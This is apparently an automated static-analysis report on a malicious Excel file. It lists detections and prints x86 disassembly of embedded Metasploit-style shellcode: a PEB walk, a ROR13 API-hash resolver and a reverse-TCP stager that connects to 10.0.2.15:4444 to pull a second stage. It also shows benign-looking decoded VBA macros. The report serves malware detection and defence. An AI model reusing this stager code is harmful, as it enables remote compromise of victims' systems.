Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 13994b5524a96afb…

MALICIOUS

Office (OLE) / .XLS

67.0 KB Created: 2007-08-27 02:31:36 Authoring application: Microsoft Excel First seen: 2026-04-20
MD5: 8f2d8ba40f9cbbe87b18b46dfc93404b SHA-1: 5dcda181bb9dce7cd313edccaab77d63b53fa563 SHA-256: 13994b5524a96afbbb82b24ff04b65a8263712c328f24861f172ce500f9e1737
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel spreadsheet containing VBA macros that, when triggered by a change in a specific cell, attempt to download and display an image from a remote URL. The presence of Metasploit C2 indicators and PEB access heuristics suggests the macro may also be involved in downloading and executing a second-stage payload. The VBA code uses a function to insert a picture from a specified file location, which can be a local path or a URL.

Heuristics 8

  • ClamAV: Xls.Exploit.Generic-6705249-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Exploit.Generic-6705249-0
  • Metasploit stager C2 recovered critical SC_MSF_C2
    Static analysis recovered the Metasploit reverse/bind-TCP connect-back address from the stager's on-stack sockaddr.
    Disassembly
    x86 disassembly · validity: code (1.0) — 8/8 branch targets land on an instruction boundary (100% coherence)
    00009E1A  680a00020f        push 0xf02000a
00009E1F  680200115c        push 0x5c110002
00009E24  89e6              mov esi, esp
00009E26  50                push eax
00009E27  50                push eax
00009E28  50                push eax
00009E29  50                push eax
00009E2A  40                inc eax
00009E2B  50                push eax
00009E2C  40                inc eax
00009E2D  50                push eax
00009E2E  68ea0fdfe0        push 0xe0df0fea
00009E33  ffd5              call ebp
00009E35  97                xchg edi, eax
00009E36  6a10              push 0x10
00009E38  56                push esi
00009E39  57                push edi
00009E3A  6899a57461        push 0x6174a599
00009E3F  ffd5              call ebp
00009E41  85c0              test eax, eax
00009E43  740a              je 0x9e4f
00009E45  ff4e08            dec dword ptr [esi + 8]
00009E48  75ec              jne 0x9e36
00009E4A  e867000000        call 0x9eb6
00009E4F  6a00              push 0
00009E51  6a04              push 4
00009E53  56                push esi
00009E54  57                push edi
00009E55  6802d9c85f        push 0x5fc8d902
00009E5A  ffd5              call ebp
00009E5C  83f800            cmp eax, 0
00009E5F  7e36              jle 0x9e97
00009E61  8b36              mov esi, dword ptr [esi]
00009E63  6a40              push 0x40
00009E65  6800100000        push 0x1000
00009E6A  56                push esi
00009E6B  6a00              push 0
00009E6D  6858a453e5        push 0xe553a458
00009E72  ffd5              call ebp
00009E74  93                xchg ebx, eax
00009E75  53                push ebx
00009E76  6a00              push 0
00009E78  56                push esi
00009E79  53                push ebx
  • NOP sled detected high SC_NOP_SLED
    Found 20+ consecutive 0x90 bytes
    Disassembly hidden — these bytes score as degenerate, not coherent x86 code (single mnemonic 'nop' is 100% of instructions — a sled or padding/filler run, not program logic).
  • PEB access via FS segment (x86) high SC_PEB_ACCESS
    PEB access via FS segment (x86)
    Disassembly
    x86 disassembly · validity: code (0.969) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00009D69  648b5230          mov edx, dword ptr fs:[edx + 0x30]
00009D6D  8b520c            mov edx, dword ptr [edx + 0xc]
00009D70  8b5214            mov edx, dword ptr [edx + 0x14]
00009D73  8b7228            mov esi, dword ptr [edx + 0x28]
00009D76  31ff              xor edi, edi
00009D78  0fb74a26          movzx ecx, word ptr [edx + 0x26]
00009D7C  31c0              xor eax, eax
00009D7E  ac                lodsb al, byte ptr [esi]
00009D7F  3c61              cmp al, 0x61
00009D81  7c02              jl 0x9d85
00009D83  2c20              sub al, 0x20
00009D85  c1cf0d            ror edi, 0xd
00009D88  01c7              add edi, eax
00009D8A  49                dec ecx
00009D8B  75ef              jne 0x9d7c
00009D8D  52                push edx
00009D8E  8b5210            mov edx, dword ptr [edx + 0x10]
00009D91  8b423c            mov eax, dword ptr [edx + 0x3c]
00009D94  57                push edi
00009D95  01d0              add eax, edx
00009D97  8b4078            mov eax, dword ptr [eax + 0x78]
00009D9A  85c0              test eax, eax
00009D9C  744c              je 0x9dea
00009D9E  01d0              add eax, edx
00009DA0  8b4818            mov ecx, dword ptr [eax + 0x18]
00009DA3  8b5820            mov ebx, dword ptr [eax + 0x20]
00009DA6  50                push eax
00009DA7  01d3              add ebx, edx
00009DA9  85c9              test ecx, ecx
00009DAB  743c              je 0x9de9
00009DAD  31ff              xor edi, edi
00009DAF  49                dec ecx
00009DB0  8b348b            mov esi, dword ptr [ebx + ecx*4]
00009DB3  01d6              add esi, edx
00009DB5  31c0              xor eax, eax
00009DB7  c1cf0d            ror edi, 0xd
00009DBA  ac                lodsb al, byte ptr [esi]
00009DBB  01c7              add edi, eax
00009DBD  38e0              cmp al, ah
00009DBF  75f4              jne 0x9db5
00009DC1  037df8            add edi, dword ptr [ebp - 8]
00009DC4  3b7d24            cmp edi, dword ptr [ebp + 0x24]
00009DC7  75e0              jne 0x9da9
  • PEB API-hash resolver high SC_API_HASH_RESOLVER
    PEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
    Disassembly
    x86 disassembly · validity: code (0.969) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00009D69  648b5230          mov edx, dword ptr fs:[edx + 0x30]
00009D6D  8b520c            mov edx, dword ptr [edx + 0xc]
00009D70  8b5214            mov edx, dword ptr [edx + 0x14]
00009D73  8b7228            mov esi, dword ptr [edx + 0x28]
00009D76  31ff              xor edi, edi
00009D78  0fb74a26          movzx ecx, word ptr [edx + 0x26]
00009D7C  31c0              xor eax, eax
00009D7E  ac                lodsb al, byte ptr [esi]
00009D7F  3c61              cmp al, 0x61
00009D81  7c02              jl 0x9d85
00009D83  2c20              sub al, 0x20
00009D85  c1cf0d            ror edi, 0xd
00009D88  01c7              add edi, eax
00009D8A  49                dec ecx
00009D8B  75ef              jne 0x9d7c
00009D8D  52                push edx
00009D8E  8b5210            mov edx, dword ptr [edx + 0x10]
00009D91  8b423c            mov eax, dword ptr [edx + 0x3c]
00009D94  57                push edi
00009D95  01d0              add eax, edx
00009D97  8b4078            mov eax, dword ptr [eax + 0x78]
00009D9A  85c0              test eax, eax
00009D9C  744c              je 0x9dea
00009D9E  01d0              add eax, edx
00009DA0  8b4818            mov ecx, dword ptr [eax + 0x18]
00009DA3  8b5820            mov ebx, dword ptr [eax + 0x20]
00009DA6  50                push eax
00009DA7  01d3              add ebx, edx
00009DA9  85c9              test ecx, ecx
00009DAB  743c              je 0x9de9
00009DAD  31ff              xor edi, edi
00009DAF  49                dec ecx
00009DB0  8b348b            mov esi, dword ptr [ebx + ecx*4]
00009DB3  01d6              add esi, edx
00009DB5  31c0              xor eax, eax
00009DB7  c1cf0d            ror edi, 0xd
00009DBA  ac                lodsb al, byte ptr [esi]
00009DBB  01c7              add edi, eax
00009DBD  38e0              cmp al, ah
00009DBF  75f4              jne 0x9db5
00009DC1  037df8            add edi, dword ptr [ebp - 8]
00009DC4  3b7d24            cmp edi, dword ptr [ebp + 0x24]
00009DC7  75e0              jne 0x9da9
  • x86 push-string-call medium SC_PUSH_STRING
    Shellcode-style PUSH imm32 sequence builds an execution, network, or Windows API string on the stack
    Disassembly
    x86 disassembly · validity: code (1.0) — 8/8 branch targets land on an instruction boundary (100% coherence)
    00009DF4  6833320000        push 0x3233
00009DF9  687773325f        push 0x5f327377
00009DFE  54                push esp
00009DFF  684c772607        push 0x726774c
00009E04  89e8              mov eax, ebp
00009E06  ffd0              call eax
00009E08  b890010000        mov eax, 0x190
00009E0D  29c4              sub esp, eax
00009E0F  54                push esp
00009E10  50                push eax
00009E11  6829806b00        push 0x6b8029
00009E16  ffd5              call ebp
00009E18  6a0a              push 0xa
00009E1A  680a00020f        push 0xf02000a
00009E1F  680200115c        push 0x5c110002
00009E24  89e6              mov esi, esp
00009E26  50                push eax
00009E27  50                push eax
00009E28  50                push eax
00009E29  50                push eax
00009E2A  40                inc eax
00009E2B  50                push eax
00009E2C  40                inc eax
00009E2D  50                push eax
00009E2E  68ea0fdfe0        push 0xe0df0fea
00009E33  ffd5              call ebp
00009E35  97                xchg edi, eax
00009E36  6a10              push 0x10
00009E38  56                push esi
00009E39  57                push edi
00009E3A  6899a57461        push 0x6174a599
00009E3F  ffd5              call ebp
00009E41  85c0              test eax, eax
00009E43  740a              je 0x9e4f
00009E45  ff4e08            dec dword ptr [esi + 8]
00009E48  75ec              jne 0x9e36
00009E4A  e867000000        call 0x9eb6
00009E4F  6a00              push 0
00009E51  6a04              push 4
00009E53  56                push esi
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL tcp://10.0.2.15:4444 In document text (OLE body)
    • http://i.microsoft.com/global/En/us/PublishingImages/SLWindowPane/Office2010_T.pngIn document text (OLE body)
    • http://www.website.com/MyPic.jpg)F8:G10In document text (OLE body)
    • http://www.website.com/MyPic.jpgIn document text (OLE body)
    • http://i.microsoft.com/global/En/us/PublishingImages/SLWindowPane/Office2010_T.png�In document text (OLE body)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2587 bytes
SHA-256: f52259942723f63e5c776c4ed3b05fb80d544cfee2542ba66e3c48b7beeb9fbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
' Downloaded from www.contextures.com
Private Sub Worksheet_Change(ByVal Target As Range)
   If Not Intersect(Target, Range("rngDisplayName")) Is Nothing Then
         InsertPicFromFile _
            strFileLoc:=Range("rngFileLocation").Value, _
            rDestCells:=Range("rngPicDisplayCells"), _
            blnFitInDestHeight:=True, _
            strPicName:="MyDVPic"
   End If
End Sub


Attribute VB_Name = "modShowFilePics"
Option Explicit
' Downloaded from www.contextures.com
'******************************
'* InserPicFromFile           *
'* Programmer: Ron Coderre    *
'* Last Update: 20-SEP-2007   *
'******************************
Sub InsertPicFromFile( _
   strFileLoc As String, _
   rDestCells As Range, _
   blnFitInDestHeight As Boolean, _
   strPicName As String)

   Dim oNewPic As Shape
   Dim shtWS As Worksheet

   Set shtWS = rDestCells.Parent

   On Error Resume Next
   'Delete the named picture (if it already exists)
   shtWS.Shapes(strPicName).Delete
   
   On Error Resume Next
   With rDestCells
      'Create the new picture
      '(arbitrarily sized as a square that is the height of the rDestCells)
      Set oNewPic = shtWS.Shapes.AddPicture( _
         Filename:=strFileLoc, _
         LinkToFile:=msoFalse, _
         SaveWithDocument:=msoTrue, _
         Left:=.Left + 1, Top:=.Top + 1, Width:=.Height - 1, Height:=.Height - 1)
      
      'Maintain original aspect ratio and set to full size
      oNewPic.LockAspectRatio = msoTrue
      oNewPic.ScaleHeight Factor:=1, RelativeToOriginalSize:=msoTrue
      oNewPic.ScaleWidth Factor:=1, RelativeToOriginalSize:=msoTrue
      
      If blnFitInDestHeight = True Then
         'Resize the picture to fit in the destination cells
         oNewPic.Height = .Height - 1
      End If
      
      'Assign the desired name to the picture
      oNewPic.Name = strPicName
   End With 'rCellDest
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.